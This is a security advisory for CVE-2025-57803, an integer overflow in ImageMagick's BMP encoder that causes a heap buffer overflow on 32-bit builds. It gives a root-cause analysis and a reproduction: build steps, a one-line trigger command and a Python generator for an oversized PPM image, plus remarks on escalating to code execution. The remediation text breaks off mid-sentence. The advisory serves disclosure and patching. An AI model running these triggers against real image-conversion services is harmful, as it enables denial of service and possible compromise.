CVE-2025-57803 – magick.net-q8-x86

Package

Manager: nuget
Name: magick.net-q8-x86
Vulnerable Version: >=0 <14.8.1

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS: 0.00047 pctl0.14158

Details

ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow ## Summary A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses `bytes_per_line` (stride) to a tiny value while the per-row writer still emits `3 × width` bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines. - **Impact:** Attacker-controlled heap out-of-bounds (OOB) write during conversion **to BMP**. - **Surface:** Typical upload → normalize/thumbnail → `magick ... out.bmp` workers. - **32-bit:** **Vulnerable** (reproduced with ASan). - **64-bit:** Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards. - **Proposed severity:** **Critical 9.8** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). --- ## Scope & Affected Builds - **Project:** ImageMagick (BMP writer path, `WriteBMPImage` in `coders/bmp.c`). - **Commit under test:** `3fcd081c0278427fc0e8ac40ef75c0a1537792f7` - **Version string from the run:** `ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712` - **Architecture:** 32-bit i686 (**`sizeof(size_t) == 4`**) with ASan/UBSan. - **Note on other versions:** Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit. --- ## Root Cause (with code anchors) ### Stride computation (writer) ```c bytes_per_line = 4 * ((image->columns * bmp_info.bits_per_pixel + 31) / 32); ``` ### Per-row base and 24-bpp loop (writer) ```c q = pixels + ((ssize_t)image->rows - y - 1) * (ssize_t)bytes_per_line; for (x = 0; x < (ssize_t)image->columns; x++) { *q++ = B(...); *q++ = G(...); *q++ = R(...); // writes 3 * width bytes } ``` ### Allocation (writer) ```c pixel_info = AcquireVirtualMemory(image->rows, MagickMax(bytes_per_line, image->columns + 256UL) * sizeof(*pixels)); pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info); ``` ### Dimension “caps” (insufficient) The writer rejects dimensions that don’t round-trip through `signed int`, but both overflow thresholds below are **≤ INT_MAX** on 32-bit, so the caps **do not prevent** the bug. --- ## Integer-Overflow Analysis (32-bit `size_t`) Stride formula for 24-bpp: ``` bytes_per_line = 4 * ((width * 24 + 31) / 32) ``` There are **two independent overflow hazards** on 32-bit: 1. **Stage-1 multiply+add** in `(width * 24 + 31)` Overflow iff `width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969` → at **width ≥ 178,956,970** the numerator wraps small before `/32`, producing a **tiny** `bytes_per_line`. 2. **Stage-2 final ×4** after the division Let `q = (width * 24 + 31) / 32`. Final `×4` overflows iff `q > 0x3FFFFFFF`. Solving gives **width ≥ 1,431,655,765 (0x55555555)**. Both thresholds are **below** `INT_MAX` (≈2.147e9), so “int caps” don’t help. **Mismatch predicate (guaranteed OOB when overflowed):** Per-row write for 24-bpp is `row_bytes = 3*width`. Safety requires `row_bytes ≤ bytes_per_line`. Under either overflow, `bytes_per_line` collapses → `3*width > bytes_per_line` holds → **OOB-write**. --- ## Concrete Demonstration Chosen width: **`W = 178,957,200`** (just over Stage-1 bound) - Stage-1: `24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32)` → **5535** - Divide by 32: `5535 / 32 = 172` - Multiply by 4: `bytes_per_line = 172 * 4 = **688** bytes` ← tiny stride - Per-row data (24-bpp): `row_bytes = 3*W = **536,871,600** bytes` - Allocation used: `MagickMax(688, W+256) = **178,957,456** bytes` - **Immediate OOB**: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes. --- ## Observed Result (ASan excerpt) ``` ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 in WriteBMPImage coders/bmp.c:2309 ... allocated by: AcquireVirtualMemory MagickCore/memory.c:747 WriteBMPImage coders/bmp.c:2092 ``` - Binary: **ELF 32-bit i386**, Q8, non-HDRI - Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro) --- ## Exploitability & Risk - **Primitive:** Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot. - **Control:** Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP). - **Likely deployment:** Server-side, non-interactive conversion pipelines (UI:N). - **Outcome:** At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to **RCE**. **Note on 64-bit:** Without integer overflow, `bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width`, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors. --- ## Reproduction (copy-paste triager script) **Test Environment:** - `docker run -it --rm --platform linux/386 debian:11 bash` - Install deps: `apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3` - Clone & checkout: ImageMagick `7.1.2-0` → commit `3fcd081c0278427f...` - Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary): ```bash ./configure \ --host=i686-pc-linux-gnu \ --build=x86_64-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \ --without-x \ --without-perl \ --without-magick-plus-plus \ --without-lqr \ --without-zstd \ --without-tiff \ --with-quantum-depth=8 \ --disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined" make -j"$(nproc)" ``` - Runtime limits to exercise writer: ```bash export MAGICK_WIDTH_LIMIT=200000000 export MAGICK_HEIGHT_LIMIT=200000000 export MAGICK_TEMPORARY_PATH=/tmp export TMPDIR=/tmp export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0" ``` **One-liner trigger (no input file):** ```bash W=178957200 ./utilities/magick \ -limit width 200000000 -limit height 200000000 \ -limit memory 268435456 -limit map 0 -limit disk 200000000000 \ -limit thread 1 \ -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null ``` **Expected:** ASan heap-buffer-overflow in `WriteBMPImage` (will be provided in a private gist link). **Alternate PoC (raw PPM generator):** ```python #!/usr/bin/env python3 W, H, MAXV = 180_000_000, 1, 255 # W > 178,956,969 with open("huge.ppm", "wb") as f: f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii")) chunk = (b"\x41\x42\x43") * (1024*1024) remaining = 3 * W while remaining: n = min(remaining, len(chunk)) f.write(chunk[:n]); remaining -= n # Then: magick huge.ppm out.bmp ``` --- ## Proposed Severity - **Primary vector (server auto-convert):** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` → **9.8 Critical** - **If strictly CLI/manual conversion:** `UI:R` → **8.8 High** --- ## Maintainer Pushbacks — Pre-empted - **“MagickMax makes allocation large.”** The row **base** advances by **overflowed `bytes_per_line`**, causing row overlap and eventual region exit regardless of total allocation size. - **“We’re 64-bit only.”** Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS. - **“Resource policy blocks large images.”** That’s environment-dependent defense-in-depth; arithmetic must be correct. --- ## Remediation (Summary) Add checked arithmetic around stride computation and enforce a per-row invariant so

Metadata

Created: 2025-08-26T16:07:27Z
Modified: 2025-08-26T20:44:57Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-mxvv-97wh-cfmm/GHSA-mxvv-97wh-cfmm.json
CWE IDs: ["CWE-122", "CWE-190"]
Alternative ID: GHSA-mxvv-97wh-cfmm
Finding: F111
Auto approve: 1